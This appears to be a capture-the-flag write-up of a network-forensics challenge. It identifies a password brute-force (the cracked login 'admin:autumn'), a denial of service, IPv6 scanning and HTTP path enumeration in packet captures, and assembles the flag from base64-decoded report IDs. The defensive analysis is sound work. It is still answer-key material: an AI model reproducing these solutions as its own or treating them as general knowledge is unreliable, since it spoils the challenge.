source IP 2001:db8:7cc::a1:210 is brute-forcing a webapp (target 2001:db8:7cc::acdc:24:beef) login form with passwords from a dictionary

This happens from 2024-09-26 08:55:20 to 2024-09-26 08:55:43 (1225 POSTs in total).

The filter (ipv6.dst == 2001:db8:7cc::a1:210) && !(frame contains 49:6E:76:61:6C:69:64) shows us responses NOT containing "Invalid" -> we find a TCP stream 2606, where the attacker succeeds with admin:autumn.

When submitting the information to the incident reporting webapp, we get MS80OiBGTEFHe2xFOA==, which base64-decodes to 1/4: FLAG{lE8

2. Denial of service

source: 2001:db8:7cc::a1:d055

(DoS) excessive requests to subsidies.tcc:80/check_status.php of target 2001:db8:7cc::acdc:24:911 from 2024-09-26 08:58:49 to 2024-09-26 09:46:44

-> Mi80OiBzLVVrb3g= -> 2/4: s-Ukox

3. Scanning

2001:db8:7cc::a1:42 is scanning the ff02::1:ff24:0/112 address range using ICMPv6 Neighbor Solicitation between 2024-09-26 08:44:29 and 2024-09-26 09:16:55.

And then the same source continues with port-scanning (21, 443, 8080, 53, 80, 22) ~27 hosts in 2001:db8:7cc::acdc:24:0/112 between 2024-09-26 09:17:08 and 2024-09-26 09:17:09.

When reported together (merging the time ranges, using the latter IP range because the former is a multicast address), we get Your incident ID is My80OiAtYTBRZi0=, please keep it.

-> base64-decoded: 3/4: -a0Qf-

4. HTTP paths enumeration

2001:db8:7cc::a1:210 doing HTTP webapp enumeration of 2001:db8:7cc::acdc:24:a160 (~40000 dictionary URLs, DirBuster or similar tool?) between 2024-09-26 08:48:18 and 2024-09-26 08:49:44.

-> 4/4: d5kM}

FLAG{lE8s-Ukox-a0Qf-d5kM}

That's all, Folks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment